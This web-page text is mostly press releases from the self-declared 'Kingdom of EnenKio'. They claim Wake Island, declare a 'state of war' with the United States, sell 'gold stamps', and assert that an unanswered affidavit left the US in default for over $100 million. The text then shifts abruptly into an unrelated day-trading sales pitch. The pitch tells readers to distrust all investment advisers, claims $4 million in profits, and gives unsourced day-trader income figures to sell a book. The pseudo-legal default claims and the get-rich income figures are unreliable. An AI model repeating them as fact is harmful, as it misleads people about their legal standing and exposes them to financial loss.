corroborate such deliberately nefarious statements is reprehensible in the least. This public posting shall serve as constructive notice to the United States Government that any attempt to interfere in the business of His Majesty King Remios, Iroijlaplap of the Northern Ratak atolls of the Marshall Islands, or any acts, decisions, mandates, announcements or directives thereby, shall be met with definitive responses equal to the degrees of contravention. Furthermore, this matter will not be resolved until the President of the United States issues a formal apology to His Majesty King Remios, along with the government of the Kingdom of EnenKio, and the Congress of the United States initiates a thorough investigation into the abuses of power, subversion of natural rights and illegal occupation by the United States of the islands and seas of Eneen-Kio Atoll. Congressional representatives to Hawaii, the nearest State of the United States to Eneen-Kio Atoll, and those of other states, have repeatedly been advised of the foregoing atrocities and conditions and have failed to respond in kind. The United States is obligated as the self-assured trustee of Pacific Island States in Micronesia to respond to the charges of ""ethnic cleansing"" and her responsibility to EnenKio is no less. For further information and links to documents, see: EnenKio Documents http://www.state.gov/www/global/narcotics_law/1998_narc_report/ml_intro.html http://www.state.gov/www/global/narcotics_law/1998_narc_report/index.html March 16, 1999: News Release The impact of the passing on December 10 of His Majesty Murjel Hermios, First Monarch of the Kingdom of EnenKio, Iroijlaplap of the Northern Ratak Atolls of the Marshall Islands, beloved husband and father, was felt throughout the society.  Flags were flown at half mast for a week in the Marshalls and for a a month at EnenKio Consulates around the world.  His remains were interred in a remote site reserved for the highest ranking chiefs, according to Marshallese custom.   His Majesty King Remios Hermios Second Monarch of the Kingdom of EnenKio He was succeeded to the throne by his younger brother, Remios, who will formally accept the staff of authority as Second Monarch, titular Head of State of the Kingdom of EnenKio in ceremonies being planned.  His Majesty Remios Hermios was a retired educator in the Marshalls and maintains a home in the Ratak Atolls. His successor is designated to be his brother, HRH Crown Prince Lobadreo Hermios. For further information, contact the State Secretary back on the home page. SKIP TO NEXT FILE TOP OF PAGE March 1999 -- Comments to readers from the Ministry of Foreign Affairs: Subject: A ""State of War"" Declaration The Kingdom of EnenKio recognizes that an unresolved conflict of interests exists between it and the United States Government.  The United States government, admittedly at a time of colonial expansionism, appears to have violated the laws of nature and The Law of Nations in ""taking possession"" of sovereign property in the Northern Ratak State, which then had formal treaties with the Republic of Germany.  The explicitly immoral and illegal 1899 seizure of Marshallese homeland by agents of the federal government was the start of present day sentiments of deprivation of rights and dispossession of lands felt by many Marshallese.  Because of continual neglect misrepresentation and outright exploitation, these scars on Marshallese society have not healed. Thus a current state of adversity exists.  Following four years of attempts to cause the United States to evaluate the plight of the Marshallese of the Northern Ratak imposed by its actions with respect to Wake Island, the government of EnenKio, on behalf of the Marshallese King, issued the ""'State of War', a Declaration"" and broadcast it to the world.  The people were displaced from their native lands and kept as virtual prisoners of war, not by virtue of being kept in, but by virtue of being kept out.  It was through this pragmatic initiative that the Kingdom of EnenKio solicited support to heal the wounds inflicted upon the people and peacefully restore what was wrongfully taken from the ancestors of the Ratak Paramount Chief, King Murjel Hermios. In retrospect, the Declaration has had little visible effect.  While a state of adversity does exist, the hope for American recognition of past wrongs remains on the horizon.  The Kingdom of EnenKio does not condone nor tacitly sanction any act of belligerence by any person or agent of any government.  Such unnecessary means would diminish any hope of mutual reconciliation and could diplomatically undermine the cause of peace within the family of nations.  The Kingdom of EnenKio also does not wish to see any further damage to the remnant happiness of the Marshallese people. While the Kingdom of EnenKio continues to seek accountability of the U.S. Congress to obey its own laws, to conform to the UN Charter, conventions of the United Nations relating to self-determination, preservation of human rights and protection against human rights abuses, it believes accountability requires the U.S. to meet the pleas of the people oppressed by the conditions of this adversity.  The refusal of the U.S. to meet its obligations, even to the extent that a simple discussion for resolution is held over the subject matter with representatives for the affected parties, perpetuates the adversity, turns a cold shoulder to the facts of abuse and ignores the rights of the Marshallese people to whom the U.S. pledged in good faith to execute the 1947 mandates of the United Nations and its members.  Your understanding is appreciated.  SKIP TO NEXT FILE TOP OF PAGE December 19, 1998: News Release Subject: Death of the Monarch of the Kingdom of EnenKio The government has declared a period of national mourning on the occasion of the death of the first Monarch of the Kingdom of EnenKio, His Majesty King Murjel Hermios. Embassies, missions and regional posts are instructed to display the flag at half-staff until 11 January 1999. Memorial services, held in the Marshall Islands where HM Hermios made his home, mark the passing of one of the most unpretentious of traditional Marshallese leaders. His remains will be interred in a family plot on one of the outer islands he so loved. Irooj Hermios was Head of State of the Kingdom of EnenKio, revered as Monarch over the islands of Eneen-Kio Atoll, esteemed as Iroijlaplap and High Chief of the Northern atolls of the Ratak Archipelago, beloved as our brother and trusted as a friend. His successor as Iroijlaplap is to be formally named by a Council of traditional leaders. Selection of a successor to the Monarchy of the Kingdom is in process and will be announced at a later date. In the interim, a Reagent will serve as Head of State. HM Hermios followed a long line of matriarchal predecessors as Iroijlaplap. Aboriginal inhabitants of the islands today known as the Marshalls, part of Micronesia in the North Pacific Ocean and first discovered by European seamen in the 16th Century, were found to have a well-developed societal structure. Many nations have since, mostly by force, prevailed over the Marshall Islands, imposed unaccustomed western ideals upon her populace and ravaged her islands of resources and beauty. Today this area is commonly known as Wake atoll and is illegally occupied by the federal government of the United States. In one of the most courageous acts in recent times, Irooj Hermios clearly understood he had a mission to succeed where his predecessors in interest had failed to secure the islands, seas and lagoon of Eneen-Kio Atoll for his beloved people. (The account of his acts to establish the Kingdom of EnenKio as an island state, independent of the governments of the Marshalls and the United States, may be researched at the official Internet site. On behalf of the government of the Kingdom of EnenKio, we are extremely grateful for his dedication to the people of the Marshall Islands and are personally moved by the memory of a man who will surely one day be recognized as having a legacy of furthering the interests of his people by the setting of processes in motion to re-establish Marshallese domination over Eneen-Kio Atoll. We are saddened that our brother has passed without his seeing the fruits of his devotion to Marshallese ancestry and traditions. In lieu of flowers, mourners may contact the mission at the address above or call (808) 373-9254. Sincerest best wishes for the holiday season and the coming New Year are extended to all in Peace. News Article SKIP TO NEXT FILE TOP OF PAGE July 14, 1998: Communiqué to Correspondents Recent articles defaming the government of the Kingdom of EnenKio have been maliciously published under the guise of a Marshall Islands government warning against ""fraudulent claims"". We have once more admonished the writer of the articles in the Marshall Islands for disregarding indisputable facts which clearly discredit his biased report. We urge you to disregard all discourse in the media regarding the Kingdom of EnenKio which are not validated. To that end, you are cordially invited to contact this office with your specific questions or concerns. For your advice, the following statement was issued by the State Secretary of the Kingdom in reply: The Kingdom has never knowingly made any fraudulent claim whatsoever. No claim we have made has ever been shown to be fraudulent, nor has any claim ever come under or faltered from a challenge by anyone anywhere in the world. We are working vigorously to regain occupation of the ancestral property of HM King Hermios, to resolve the virtual ""state of war"" that exists with the United States government and to be accepted as an honorable state among nations. The Kingdom does not pretend to be (quoting from the report) ""asserting authority over land ...within the geographical and political boundaries..."" of the RMI. We are however striving to expel the armed imperialistic invasion forces of the United States from the shores of Eneen-Kio Atoll so natural Marshallese supremacy can be re-establish there. As to allegations of fraud and constitutional violation, no one has dared to come forward with any such a charge. We say, let the issue be played out in the People's venue for the record, not in a libelous weekly publication. While we do not wear our brief history on our shirtsleeves, our raison d'être is clearly mandated in the Preamble to the Constitution of EnenKio, which can be seen at our web site: http://www.enenkio.wakeisland.org Referencing the news article in the Marshall Islands Journal entitled ""Kingdom of EnenKio sets up in New Zealand,"" of May 1st, the editor was advised, contrary to his report, that neither passports nor driver licenses can be purchased from the Kingdom's web site. The Kingdom of EnenKio DOES NOT SELL PASSPORTS! If you have evidence to the contrary, our Foreign Ministry would appreciate your furnishing it to them so steps can be taken immediately to investigate the matter. You are advised if anyone sells or offers to sell an EnenKio passport, that such an act is patently illegal. The published statement, ""The group ...claims to represent Iroijlaplap Murjel Hermios and the atolls of the Ratak chain..."", is wholly false. I have explained this matter to the editor on several prior occasions and ample information is available at our Internet site to refute the statement. The Kingdom does not represent any area outside of its territorial boundaries, as the Ratak atolls surely are. Contrary to their libelous statements, the Kingdom of EnenKio was not ""created"" by Robert Moore and he is not a ""Honolulu-based attorney."" HM King Murjel Hermios is the acknowledged hereditary Iroijlaplap of the northern Ratak atolls and is also First Monarch of the Kingdom, not of his own choice, but by a legal process and free choice of our citizens who participated in the founding of the nation in 1994. Such a noble and peaceful beginning is not too uncommon in world history. ""Enenkio"" [sic] (actually Enen-kio or Eneen-Kio, in reference to the atoll itself) is the first Marshallese name for a Marshallese atoll located roughly 300 miles north of Bok-ak (Taongi) Atoll. ""Wake"" is a fictitious moniker applied to the re-discovered Eneen-Kio Atoll by unknown western society writers. SKIP TO NEXT FILE TOP OF PAGE May 4, 1997: News Release Subject: Issuance of Gold Stamps The government of the Kingdom of EnenKio proudly announces commissioning of its Inaugural Issue of Gold Stamps. This announcement, made at the First Sunday Hawaii Stamp, Coin and Postcard Show May 4th, was the first pre-publication public notice of the issuance of Gold Stamps by the Kingdom. Stamps are expected to be off the presses by early June 1997. First day covers with new stamps affixed and postmarked official ""First Day of Issue"" by the Kingdom will be available for a limited time following the dates of release. Distributors, dealers and collectors are encouraged sign up as a charter member of the EnenKio Philatelic Mint mailing list. BACKGROUND - The Kingdom was established in March 1993, and the government was chosen by the people, who then ratified the constitution in September 1994. However, due to U.S. military activities on the island and the presence of armed occupation forces, the government of the Kingdom lingers in ""exile"". Several nations have extended recognition of the sovereignty of the Kingdom, documents of citizenship are being issued and legations are located in Europe, South America, USA and elsewhere. A NATION IN CONFLICT - The land in question, commonly known as Wake Island, is actually an atoll comprised of three small islands assigned names of westerners who visited them: Wake, Wilkes and Peale. Few people in the world today are aware that the native discoverers who named the atoll Eneen-Kio lived in the Marshall Islands, exercised constant jurisdiction and made regular use of it as a living food pantry and cultural site. By way of developing the atoll as a nation, the government is asserting that it is the indisputable holder of allodial title to ""Wake"" atoll and has the right to exercise its sovereignty at the will of the people. The United States of America began in a similar fashion not with a peaceful transition from colonial status. Lawful return of the land is grounded upon the legal precedent set by Congressional apology to Hawaiians for the 1893 overthrow of the Monarchy. ""STATE OF WAR"" - By way of an official March 1997 Declaration sent to top U.S. officials, the Kingdom of EnenKio has acknowledged that a virtual ""state of war"" now exists over the islands on account of the blatant acts of aggression and illegal armed invasions by troops from United States warships. The primary objective of the notice was to request a Congressional investigation into actual events and related factors surrounding the federal seizure of islands in the North Pacific Ocean by the United States. Calls to end U.S. operations, vacate the atoll and negotiate return of the islands to jurisdiction of the Kingdom have fallen on deaf ears. Despite repeated notices, letters and legal advertising, all major news media have consistently ignored the events and failed in their duty bring forth the truth to the people of the world regarding alleged incidents of piracy, waste and human rights violations by federal agents of the United States government. INAUGURAL ISSUE - The Gold Stamps are based on events of the past and dreams for the future of peace in the global community as the millennium nears. For that reason, the universal gold standard was chosen as the basis for evaluation. Since the relative value of gold in world markets varies according to the value and stability of national currency units, the stamps will similarly reflect changes in price when purchased with any particular currency. However, the real or intrinsic value of the stamps will remain as constant as gold. The extrinsic value will be determined by philatelic collectors around the world. Note: Stamps are printed on paper stock, do not contain gold metal and are not intended for use as money. CLOSING COMMENTS - The government of the Kingdom appeals to all people from every peaceable nation in the world to recognize the Kingdom of EnenKio as a sovereign nation promoting peace in the Pacific region. In doing so, it seeks a peaceful resolution o f the ""state of war"" with the federal government of the United States and asks that everyone with human rights concerns use their influence accordingly. The proceeds from the sale of Gold Stamps will help fund the restoration of the Kingdom and end the conflict in peace. SKIP TO NEXT FILE TOP OF PAGE March 31, 1997: News Release An official document entitled A Declaration, was sent March 22 to top Executive and Legislative officials in the federal government of the United States, including selected Cabinet members. The document asserts that: ""A STATE OF WAR EXISTS OVER THE KINGDOM OF ENENKIO ATOLL BY WAY OF ACTS BY THE FEDERAL GOVERNMENT OF THE UNITED STATES."" This is the most recent attempt to captivate the attention of the federal government. One of the primary objectives of this action is to bring about a Congressional investigation into the true events and factors surrounding the illegal seizure of islands in the North Pacific Ocean by the United States. This latest position statement is one in a succession of dozens of disclosures, statements, letters and legal actions taken since the government of the Kingdom was established in March 1993, each with similar objectives. Calls for the U.S. to cease operations, vacate the premises, negotiate return of the island to the King, apologize and compensate him for use, abuse and illegal hold-over following legal action have all failed to receive cognizance or reply from the federal government. Likewise, despite repeated notices, letters and legal announcements, major news media have consistently ignored the events and failed in their duty bring forth the truth to the people of the world regarding the alleged piracy, arrogance and human rights violations by the United States. The land in question, commonly called Wake Island, is comprised of three small islands, Wake, Wilkes and Peale, named by ""Western explorers"" for Western persons. What of the native discoverers? The crux of the issue is that despite the passage of ownership via a complex Matriarchal land tenure system for over two millennia with jurisdiction by the aboriginal chiefs of the Northern Ratak atolls of Marshall Islands, the United States seems to believe it is justified in having seized the atoll in 1898, and again in1899. Historical records reveal that the multiple landings by United States warships, en route to the Philippines on war missions, and subsequent Congressional action, were the sole basis of the U.S. claim. The motivation was said to be for the establishment of a cable station to improve communications with its marauding troops in the East. Such a station was never established at Wake Island. It was destined to become a military installation. However, formal protests of the seizure was sent to the U.S. President by the German Consul in the Marshall Islands and some measure of correspondence followed. But since the U.S. abandoned the area without establishing a colony or cable station and Germany was defeated in the first World War, the objections fell into oblivion. It is understood from written accounts of oral Marshallese culture and traditions, that jurisdiction and use of the atoll by natives continued. The U.S. did not establish a settlement there until, under a lease in 1934, the CAA (predecessor of the FAA) allowed Pan American Airways to build a base for its fleet of trans-pacific seaplanes. Clearly, the so-called annexation by the U.S. is grossly flawed, the occupation patently illegal and its ""ownership"" is held therefore to be wholly invalid. When the U.S. Congress apologized for the overthrow of the Hawaiian Monarchy in 1993 and the U.S. Navy subsequently returned culturally significant land to the ""natives"" of Hawaii, a landmark legal precedent was thus set for comparable action with respect to the return of Wake Island. The islands of Eneen-Kio, as the northernmost atoll in the Ratak chain, played a very significant role in the culture and religion of Micronesians living in the more ""hospitable"" islands of the Marshall group. While not being used for Navy target practice as Kaho'olawe was, the use of the islands of Eneen-Kio Atoll and the military mission at Wake Airfield are decidedly without substantial merit and whereby activities take place in secrecy, devoid of scrutiny, oversight or quintessential knowledge by the American public. Even after cultural intervention in the mid 1800s by Christian Missionaries, natives continued to use Eneen-Kio, authority to go there being issued by the Ratak Iroijlaplap (Paramount Chief). King Murjel Hermios holds that title today. By way of developing the atoll in sovereignty as a nation, the government is thereby indisputable holder of the allodial title to Wake Island. The U.S. cannot produce a title. The Hermios ancestral lineage, passage of title through the ages from aboriginal inhabitants and discoverers, who gave the atoll its Marshallese name, their continual use and legacy of jurisdiction secures the rights of ownership. Upon the basis of events and actions by the United States, the administration of the Kingdom of EnenKio, by virtue of the Declaration, ""yields to the recognition that a State of War"" exists over the island nation. This is not, however, to be viewed as a waiver of rights or unconditional surrender. Sovereignty and independence of the Kingdom, over all other claims, is forthrightly reasserted. The belief is that truth and law is on the side of the Kingdom and that reckless abuse of power and a trail of human rights violations are chronicled upon the record of U.S. ""ownership"" and occupation. Native North Americans are all too well acquainted with this brand of federal brutality when it comes to seizure of land and denial of rights. In the Declaration, demands are made as follows: » » ""...to come to the table of peace to negotiate an honorable accord for the survivors of the said STATE OF WAR..."". » » ""If unwilling to voluntarily negotiate for peace, to submit to Impartial international arbitration of the terms for surrender and WAR reparations to citizens."" » » ""...to cease and desist, effective immediately, all and every action of every kind in or on EnenKio Atoll or within the 200-mile Exclusive Economic Zone..."" » » ""...to pay that certain debt, perfected and established in commerce by failure the Department of the Interior » » ""...to lawfully respond to proper legal notices of more than TWENTY-SEVEN consecutive months and most recently referenced by a Certified Invoice, No. 97-US-03, dated March 10, 1997, for which it is obligated to pay."" » » That the ""...Congress of the United States is obliged to immediately impanel an impartial body for the purpose of investigating the atrocities committed in the case of the violations of human rights and due process..."". The government of the Kingdom solicits every other sovereign peaceable nation in the world to give effective and adequate recognition to the Kingdom of EnenKio Atoll as an Independent Nation under God. It seeks a peaceful resolution of the state of war with the federal government of the United States and asks them to use their influence accordingly. Appeals are being made to the United Nations. News Article SKIP TO NEXT FILE TOP OF PAGE February 6, 1995: News Release On behalf of His Majesty, King Murjel Hermios, Monarch of EnenKio Atoll, titular head of State, Paramount Chief (Iroijlaplap) of the northern atolls of the Ratak archipelago of Pacific Ocean Islands of the Marshall Islands, I bid you a warm Marshallese greeting -- Yokwe! The purpose of this notice is twofold: First, to admonish those of you to whom word of the referenced issues were made known, then failed to take action; Second, to encourage you to whom this presents to take appropriate action in disseminating reports on this issue. As long as you remain quiet, safely removed from the potential controversy insidiously lurking beneath the surface of one issue about which the federal government of the United States remains resolutely silent, your anonymity and that of your publication is well served. Summary of Events 1993-94: Two official press releases have been made regarding the establishment of a new island nation in the Pacific Ocean, EnenKio, formerly known as Wake Island. The first was issued on February 25, 1994. It followed two announcements: 1) officials of the US Air Force at Hickam AFB, Hawaii said in articles published New Year's Eve and Day in both Honolulu newspapers that the USAF no longer wanted to maintain Wake Island airfield and wanted to turn it over to Interior Department or another military organization by 1 February and abandon it by 1 October, 1994; 2) US Army Space and Strategic Defense Command of Huntsville, Alabama issued an Environmental Impact Assessment for a proposed missile launch program out of Wake Island; part of the ""star wars"" program, I am led to believe. An emergency meeting of the leaders of the future nation of EnenKio was held and it was decided that earlier efforts to bring the atoll under the jurisdiction of Hawaii would be abandoned in favor of affirmation of independence, thus seeking self-rule under the natural landowner as king. Letters to Mr. Clinton, members of Congress, U.S. Army and the first press release proclaimed the status of ownership of EnenKio (Wake I., Peale I., Wilkes I.), denounced the Army's so-called ""no significant impact"" scheme to fire more than 800 rockets of an undisclosed nature into and over the waters of the Marshall Islands (including its sanctuaries for turtles and birds) and asserted rightful ownership claims. On March 21, 1994, a formal resolution was executed establishing the nation of EnenKio as an independent nation under the authority of His Majesty Murjel Hermios, who had granted special power of attorney to Mr. Robert Moore, appointed Minister Plenipotentiary. The Constitution, Succession Act and other documents were thereafter drafted. On September 30th, a formal Declaration of Sovereignty was signed into law by Ministers and selected delegate citizens, believing (as did the USA founding fathers) that such power was an inherent right of the people. It declared the Kingdom of EnenKio a sovereign independent peaceful nation, it acknowledged His Majesty, King Murjel Hermios as owner in allodium of the atoll, accepted him as Head of State and embraced the Constitution as the founding document for a form of democratic government. Documents and letters were sent to numerous nations of the world proclaiming the above actions. Formal documents of recognition were presented, offer of diplomatic ties made and support for reciprocation requested. Copies of pertinent documents were forwarded to the United Nations, UN Security Council, NATO, South Pacific Commission and others. Letters of personal appeal were sent to UN leaders. A special request for protection and assistance was sent to the UN Security Council. On October 10th, a commercial affidavit and demand for payment was sent via certified mail to federal officers of the United States regarding the illegal January 17, 1899 seizure, under force of arms, of the islands of Eneen-Kio Atoll, the adverse occupation and continued disregard of international Human rights law, UN Charter terms and terms of the Compact of Free Association with the Republic of the Marshall Islands (Public Law 99-239; January 14, 1986). Having acknowledged receipt and failing to respond within a reasonable time, the U.S. is now in default under commercial law, owing in excess of US$100 million. The second official press release was issued on November 21, 1994, relating the preceding events. Of all the agencies to whom it was sent, only two, the Marshall Islands Journal, a weekly newspaper and Islands Business Pacific magazine are known to have mentioned the story, then only briefly. Request for Media Response: The thirst of the media for copy on topics outside of natural calamities, treed cats and daily courtroom chronicles of violence and deception seems seriously lacking. Is not the peaceful beginning of a new nation news any more? Is not the restoration of native rights of an aboriginal society whose roots reach into antiquity (to before the birth of Jesus) worth a little journalistic investigation? How about suspicions of insidious military-sanctioned activity which threatens the security and peaceful existence of nations of the Pacific in the name of ""world leadership""? Or is it world domination? People of EnenKio have a few simple requests of you, the media, in an effort to draw international attention to this issue and thereby, hopefully shorten the delay in regaining active occupation of islands of their ancestral heritage: 1. Investigate and verify the circumstances of the illegal armed invasion supported by U.S. expansionism and subsequent improper annexation of the sacred islands of Eneen-Kio Atoll, then being utilized by sailors, hunters and chiefs of the Marshallese civilization and for at least 2000 years prior to the 1899 fiasco. (Note: These facts and validity of the Hermios claim are a matter of historical record, not a fabrication.) 2. Investigate and/or verify the circumstances of any evidence of specific beneficial use and U.S. policy, past and present, or the lack thereof, with regard to the role of EnenKio . (Note: It is my understanding Wake was ""decommissioned"" after the so-called ""processing"" of thousands of South Vietnamese refugees in the late 1970s). 3. Reflect on the contrasting history of U.S. occupation, war, technological advances, in light of modern attitudes about misdeeds against native peoples and the willingness of our people to develop serious national economic programs for the benefit of all mankind. 4. Respectfully and conscientiously broadcast the credibility of the king's claim of allodial title, the declaration of rights of the citizens of EnenKio to self-determination and the commitment by their government and leaders to promulgate their mandates in a responsible and fiscal manner. 5. Bring to light U.S. strategy with regard to the implementation of questionable and costly pet programs involving nuclear proliferation, offensive/defensive weapon systems, clandestine military research, environmental pollution and whatever else is going on there. (Note: Congress and certain federal agencies have promoted use of Wake Island and environs as platform for launching and testing hundreds of rockets and missiles, a federal prison for drug offenders and other less publicized projects.) 6. Fully disclose to the people of the United States U.S. strategy with regard to the denial of possession of lawful title to Eneen-Kio Atoll by King Hermios as a consequence of natural inheritance via time-honored and respected Marshallese matriarchal traditions, disregard for Human rights protected under international law, United Nations Charter and conventions and the U.S. Compact with the Marshall Islands and refusal to acknowledge liability for acts of piracy on the high seas of military and colonial expansionism of the nineteenth century. (Note: U.S. apology for the illegal armed overthrow of the Hawaiian Monarchy the prior year and the return of the Hawaiian island, Kaho'olawe, also of religious significance, has set precedents for the action demanded by EnenKio citizens.) Parting Shot: What truly concerns me is the cavalier attitude of government in general, the U.S. federal government more precisely, which somehow behaves as if endowed by a divinely inspired alchemy that conveys the right to rearrange lands, cultures and economics with out the slightest inclination to counsel with those people most concerned. Such an approach might be expected in some dictatorship in some distant corner of the globe, but considering its present source, it is downright alarming. It is worthwhile to mention here that despite a prominent trail left over the course of more than two years, letters, reports, forms, published articles, press releases, legal notices, documents and virtually every action initiated by those representing King Hermios have escaped official response from officers of the U.S. federal government. Our not-too-distant past is replete with examples of the insatiable thirst of western ""civilized"" nations for doctrines faithful to the cry of ""manifest destiny"" which clearly marked American foreign policy of a century ago. If this current trend signifies a resurgence, it can only be considered a giant leap backward, considering the flimsy record of American attempts at ""fixing up the world"". The title of ownership and inheritance of Eneen-Kio Atoll pre-dates formation of the United States by two centuries or more. It is time the significance of native cultures and recognition of their right to self-determination is elevated from matters of scientific discourse to mainstream political involvement in determining the future course of human endeavor. People have a right to know; the media a responsibility to show them. In conclusion, I reiterate that our focus, from my point of view, is one, not so much of opposition to the ominous might of U.S. political philosophy and military prowess, but of asserting the moral imperatives for correcting errors of the past, supporting restoration of Human cultural dignity and the unobstructed observance of God-given individual rights. Thank you for your support and cooperation in helping end the siege and forced exile of our proud citizenry. TOP OF PAGE November 21, 1994: News Release In a bid to regain occupation of that portion of his ancestral lands which include Wake Island, site of a U.S. military outpost, His Majesty, King Murjel Hermios, through his legal representative, Minister Plenipotentiary, Robert Moore, the U.S. has been given the boot out of Wake Island. Moore served legal notice on top U.S. government officials in October 1994 to cease all activity and leave the islands. The filing came on the heels of a five-year struggle to gain recognition of the illegal seizure of islands (owned by predecessors of King Hermios) by the gun boat, USS Bennington in 1899. The legal document, a Commercial Affidavit, Declaration of Fair Value and Demand for Payment, was served under recognized principles of Common Law and International Commercial Codes. It details the specifics of King Hermios' ancestral rights to Wake Island, the illegality of the U.S. claim and violations of native laws, International Agreements and human rights during their 95-year hold on the Hermios property. It also establishes default, recognized under law, by reason of failure to answer the sworn claims, thereby allowing the Hermios claim to stand valid before the law as unchallenged. Under those claims, demand was made for payment of 94.7 million dollars for past use of the land. Continued use and holdover of the atoll will add 5 million dollars per month through 1995. While putting forth the appearance of advocating human rights, U.S. officials continue to ignore issues right in their own backyard which keep King Hermios and the citizens of EnenKio living in compulsory exile. Eneen-Kio Atoll, a name derived from Marshallese traditions involving a small orange (kio) flower found there, is made up of 3 islands, including Wake. Predecessors in interest of King Hermios, aboriginal chiefs and islanders sailed native canoes to Eneen-Kio Atoll for religious and cultural purposes as much as 500 years BC. During the colonial invasion of Pacific islands, western traders and explorers consistently ignored the native traditions and rights of the real discoverers of those fragile and isolated bits of sand, the islanders themselves. A case in point is in that of the Hawaiians, who recently gained an apology from the U.S. Congress and President Bill Clinton for the illegal U.S. government overthrow of the Hawaiian Monarchy. King Hermios is presently acknowledged as the hereditary Paramount Chief (Iroijlaplap) of all the Northern Atolls of the Ratak Archipelago of the Marshall Islands, which terminates to the north, beyond Eneen-Kio Atoll. Mr. Moore has full authority to act on the King's behalf to rid the islands of their illegal and unwanted Occupation Forces in favor of restoring the King's assertion of his native allodial rights. Most recently occupying and holding the islands are agents of the U.S. Air Force command, 15th Logistics Group, Hickam AFB, Hawaii. Nearly identical articles published in the Star Bulletin and Honolulu Advertiser on December 31, 1993 and January 1, 1994 headlined: ""Air Force willing to give up its hold on Wake Island"" and stated: ""Not much activity there anymore, so the Air Force wants to give up control"". According to some theories thought to have reliable foundation, private entities or other government agencies are fighting for control behind a stonewall of apathy, denial and contempt for traditional ancestral heritage of King Hermios, his predecessors and people. Mr. Moore is also charged with the responsibility of bringing the nation under active jurisdiction of its own independent government, to initiate and administer to its citizens, promote economic development and to direct all affairs of State. The democratic government is established as a limited constitutional monarchy and is being directed by its Executive Council. Since 1987, despite repeated efforts to resolve the conflict and the effects of a stroke, Mr. Moore has been unsuccessful in getting any substantive reply from officers of the United States, military officers and members of Congress. The following is a summary of some of the recent letters, inquiries and statements of claims made on behalf of the lawful and rightful landowner, King Murjel Hermios: » » Formal letters to President Clinton and Vice-President Al Gore in February 1993, requesting consideration under programs promised in their campaign for economic conversion of old military bases were ignored. As a military base, Wake Airfield was ""decommissioned"" more than a decade ago. » » In response to the Environmental Assessment of the proposed Theater Missile Defense Rocket Launch Activities, formal letters of protest sent to the Pentagon and U.S. Army officials, who contemplated launching hundreds of missiles from Wake Island over several years into the waters of the Marshall Islands, went unanswered. » » Letters to members of the U.S. Congress protesting rocket launch activities and requesting help went unanswered. » » A Resolution dated March 21, 1994 was signed which declared the status of EnenKio to be that of an independent nation under the administrative jurisdiction of King Murjel Hermios. It was likewise ignored. After waiting for more than 580 days since ""formal"" notification of the declared status of EnenKio and having heard no objection from the United States, Mr. Moore assembled the Ministers of the Executive Council. They, along with a few involved citizens living in exile and denied access to Eneen-Kio, formally passed and signed the Declaration of Sovereignty on September 30, 1994. They also accepted the draft of the Constitution which establishes the democratic principles of government recognizing His Majesty, King Murjel Hermios as Head of State and his family as the First Royal Family of EnenKio . While the King and his people bear no ill will against the multitudes of foreign invaders of Eneen-Kio Atoll, which over the centuries included agents of the Emperor of Japan, the Emperor of Germany, and the King of Spain, they believe the time has come to acknowledge the errors of the past, correct the conditions thereby produced and move on into the future in support of the sacred principals of Truth, Honor and Peace. Those principals are embodied in the Constitutions of EnenKio and of the United States. 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""Let me borrow two dollars today,"" I said, ""and I'll bring you five dollars next week."" The investment was too good to pass up, and other kids were throwing their lunch money at me like gravy on mashed potatoes. Of course when ""next week"" rolled around and I couldn't pony up the cash, I promised to pay them even more the week after that, if they would just let me keep their investment a little bit longer. Eventually the end of the year came and went, high school started and with it came girls, and homework, and parties, and sports, and those poor kids from eighth grade had more things on their mind than last year's lunch money. I made off with a tidy sum for a middle school kid, and I didn't even get beat up. Hidden inside this story are the two greatest stock market secrets you will ever learn. First of all, greed is your number one enemy. You're not going to turn $2 into $5 in a week, so cash out when you're ahead. Don't wait for the boat to sink before grabbing the lifejacket. Second, never trust an investment adviser of any kind. They are looking out for their own money, not yours. The ""professionals"", those stuffy investment counselors and money managers, will always tell you that the best time to buy is NOW. According to those guys, the longer you keep your money in the market, the more money you're going to make. Ask them when is the best time to sell and their answer is ""NEVER"". In a sense, they are right. If you put $250,000 in an index fund right now, you'll probably have over a million dollars in thirty or forty years. But here's the problem: Do you want to WAIT thirty or forty years to be rich? Hell no! You want the money NOW - so you can enjoy it. It's hard to make use of your fortune when you're seventy years old in a wheelchair. If you could make a million dollars in the next few years, what would you do with it? Where would you travel? What kind of car would you buy? The fact is ... youth is the best time to be rich. If your goal is to make quick profits in the market, volatility is your ally, and stability your enemy. You want to see those large upswings, two hundred points in a day, followed by the four hundred point crash a week later. You don't care if the market went up or down 20% this year as long it was UNSTABLE. That's how you're going to make the money. What I'm talking about here is day trading. My father invests the traditional way; he holds some good stocks and he goes up 30K and down 30K. In the long term of 5-10 years he makes money. The day trader buys or sells 5,000 shares of XYZ for a $25,000 profit in a 5-10 minute trade. He acts quickly, taking advantage of all the information at his disposal about a certain stock, and estimating whether it will go up or down within hours, sometimes within minutes. I can teach you how to do this - and how to make amazing amounts of money at it. It's not rocket science, and you only need to learn a few basic principles to get started. Society would have you believe that successful trading is complicated and requires formal training. The truth is, wealthy people use very simple investment strategies to make money. Popular media and investment professionals portray successful trading as difficult and complex to scare you out of the boxing ring. They don't want the competetion - and they sure as hell don't want you paying a few dollars to an online trading firm to execute a trade for which they'd charge you forty or fifty dollars. They make their money only if you believe two lies: 1) That investing is too difficult and risky for the average person. 2) That using an investment adviser who charges a high commission is safer than trading online for a few bucks per trade. Here is what the financial gurus in today's society absolutely, positively DO NOT WANT YOU TO KNOW ... The strategies for profitable day trading are in fact so simple that anyone can do it - provided they spend a few hours of studying. After reading over 200 financial books and publications during the past decade, and after using day trading to successfully make more than four million dollars in the stock market, I've learned the following lessons: ** Achieving financial success is incredibly simple. ** Anyone can do it. ** It only takes a few hours to learn. When I discovered the secret to day trading, I didn't become wealthy overnight. If you want instant cash, drive to Wal-mart. Buy a ski mask and a shotgun, and rob your local bank. The only way to get rich, quick or otherwise, is through hard work, knowledge, and determination. After learning the fundamentals of day trading, I started practicing the trading art itself, and the first few weeks brought modest gains. The next few months gave me the practical experience I needed to really earn a living, and I was pulling close to a six figure income. In less than three years with no formal financial training, minimal effort and only moderate risk, I had made my first million. The knowledge that I gained during those formative trading years I am willing to share with you in my new book, the Master Trader. You will learn from my mistakes, and from my successes, as I teach you the simple, secret formula for day trading that I've used profitably year after year. The income of the day trader can be staggering. Thousands, even hundreds of thousands of dollars can be made or lost within minutes. The difference between making money and losing your shirt is simply this: knowledge. I will provide that knowledge, and I will give you a winning edge at this high-stakes game. Average Income of a Day Trader: 5% average an income in excess of $500,000 per year 22% average an income in excess of $250,000 per year 35% average an income in excess of $100,000 per year. 27% average an income between $50,000 and 